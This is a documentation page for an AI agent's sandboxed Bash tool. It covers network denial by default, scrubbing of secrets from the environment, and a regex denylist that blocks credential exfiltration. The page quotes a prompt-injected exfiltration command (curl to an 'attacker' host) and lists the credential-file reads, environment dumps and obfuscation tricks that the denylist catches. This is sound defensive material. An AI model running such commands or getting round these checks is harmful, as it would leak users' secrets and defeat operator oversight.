Skip to content

Bash and Tool Isolation

BashTool in wcore-tools/src/bash.rs routes every agent-initiated shell command through the wcore-sandbox backend (see Shell Sandbox). On top of the OS-level isolation, BashTool applies two additional layers before the sandbox even runs: a secret-scrubbed environment and a credential-exfiltration denylist.

Agent-initiated Bash defaults to NetworkPolicy::Deny. The sandbox backend (bubblewrap on Linux, sandbox-exec on macOS) unshares the network namespace so the child cannot reach any external host. curl, wget, git fetch, package installs, and other network-dependent commands will fail silently or return an empty result rather than reaching the network.

This is the default posture because the credential denylist has no pattern that covers network egress: a prompt-injected command such as curl --data-binary @secret https://attacker could exfiltrate any sandbox-readable data even while filesystem and syscall confinement hold. Closing the network by default removes that channel entirely.

The build_sandbox_pieces function in bash.rs constructs the SandboxManifest with:

network: default_bash_network_policy(),

where default_bash_network_policy() returns:

fn default_bash_network_policy() -> NetworkPolicy {
match std::env::var("WAYLAND_BASH_ALLOW_NETWORK") {
Ok(v) if v == "1" || v.eq_ignore_ascii_case("true") => NetworkPolicy::Inherit,
_ => NetworkPolicy::Deny,
}
}

Set WAYLAND_BASH_ALLOW_NETWORK=1 (or =true, case-insensitive) in the engine process environment:

Terminal window
export WAYLAND_BASH_ALLOW_NETWORK=1
wayland-core "fetch the latest release notes from github.com/foo/bar"

With this set, the manifest uses NetworkPolicy::Inherit and the child inherits the host network namespace.

When a command fails and the current network policy is Deny, BashTool checks whether the command looks network-dependent. If it does, the tool result appends a hint rather than returning an empty or confusing output:

The Bash sandbox has NO NETWORK, so this command could not reach the
network (that is why the output is empty). Do NOT retry with curl/wget.
To read a URL, use the WebFetch tool; to search the web, use the `web`
tool with operation "search". (To allow Bash network access, the user
can set WAYLAND_BASH_ALLOW_NETWORK=1.)

Commands recognized as network-dependent include curl, wget, git fetch, git clone, git pull, git push, npm install, npx, pnpm, yarn, pip install, cargo install, cargo fetch, brew, apt, ssh, and others. The check is a substring scan used only to append a hint to an already-failed result; false positives are harmless.

BashTool historically forwarded the engine’s entire host environment to every shell child. The engine process holds provider API keys, vault passphrases, cloud credentials, and similar secrets in its environment, so that blanket copy exposed every secret to every command the model runs.

The environment is now built by env_passthrough::build_sandboxed_env, which:

  • Passes through locale, terminal, and toolchain-discovery variables (PATH, HOME, LANG, TERM, USER, SHELL, and similar).
  • Drops unconditionally every name matching secret-shaped patterns: *_API_KEY, *_TOKEN, *_SECRET, WAYLAND_VAULT_*, and others.
  • Passes through any additional names declared by the operator via skill or config passthrough configuration.

The resulting list is injected into the SandboxManifest.env field. Because all sandbox backends call env_clear() before re-populating from the manifest, there is no path by which a host secret reaches the child unless it is explicitly added to the passthrough list.

NoSandboxBackend also calls env_clear() before injecting manifest vars, so the env isolation contract holds even when OS-level sandbox primitives are absent.

Before any sandbox spawn, BashTool runs check_denylist(command) against a compiled RegexSet. Commands that match any pattern are refused before the shell is invoked at all.

Patterns cover:

  • env, env <args>, printenv, printenv <args> - environment dumps
  • Bare set (no args) - POSIX shell variable dump
  • PowerShell Get-ChildItem env: and $env:VAR expansion
  • cat, tee, less, more, head, tail of .env files
  • echo $FOO_API_KEY, echo $FOO_SECRET, echo $FOO_TOKEN, echo $FOO_PASSWORD style var dereferencing
  • printf, awk ENVIRON variants of the same
  • Reads of credential files: .aws/credentials, .aws/config, .ssh/id_*, .netrc, .npmrc, .pypirc, .kube/config, .gcloud/, .azure/, .config/wayland/auth, /etc/shadow, /etc/sudoers
  • Encoding-based reads: base64, xxd, od, hexdump, uuencode, openssl enc of credential files or .env
  • macOS Keychain CLI: security find-generic-password, find-internet-password, dump-keychain, export
  • Bash indirect expansion: ${!var
  • Language-runtime eval patterns reading credential paths: python -c, python3 -c, node -e, node --eval, perl -e, ruby -e, php -r combined with $HOME/.aws, $HOME/.ssh, $HOME/.gnupg, $HOME/.config/wayland

The denylist also tests a de-obfuscated form of the command. Empty-quote pairs (e''nv), lone surrounding quotes ("env"), and backslash-escapes of ordinary characters (e\nv) are collapsed before the pattern set runs, so the cheapest one-liner obfuscation tricks are caught. This is defense-in-depth; a determined attacker has unbounded obfuscation paths at the shell level. The real boundaries are the scrubbed environment and the closed network.

When a command is refused, the tool returns an error result with one of two messages:

  • "Refused: command pattern matches credential-exfiltration denylist." - for whole-command matches
  • "Refused: chained subcommand matches credential-exfiltration denylist." - for matches inside ;, &&, ||, |, or newline-separated subcommands

SyscallPolicy is left Inherit and fs_read_allow / fs_write_allow are empty in BashTool’s manifest by design. The build_sandbox_pieces function has no ToolContext and therefore no project root to scope writes to; populating Landlock or seccomp with an empty fs_write_allow would deny all writes (breaking every build and test the model runs). The bwrap namespace isolation, env scrubbing, and network deny still apply. Seccomp and Landlock confinement for BashTool are deferred until a project root can be threaded through.

The tool accepts an optional timeout parameter in milliseconds. The default is 120,000 ms (2 minutes); the maximum is 600,000 ms (10 minutes). A running command can also be interrupted by the agent’s cancellation token: execute_with_ctx and execute_streaming_with_ctx race the sandbox call against ctx.cancel.cancelled() and return a cancelled result in under 500 ms when the agent signals cancellation.

LayerDefaultOverride
Network accessDenied (namespace unshared)WAYLAND_BASH_ALLOW_NETWORK=1
Host environmentScrubbed; secrets excludedOperator-declared passthrough vars
Credential denylistOn; refuses before spawnNot bypassable per-call
OS sandboxPlatform default (bwrap / sandbox-exec / AppContainer)WAYLAND_SANDBOX, WAYLAND_ALLOW_NO_SANDBOX
Syscall filterInherit (not applied)Deferred; requires project root
Filesystem allowlistEmpty (not restricted beyond sandbox)Deferred; requires project root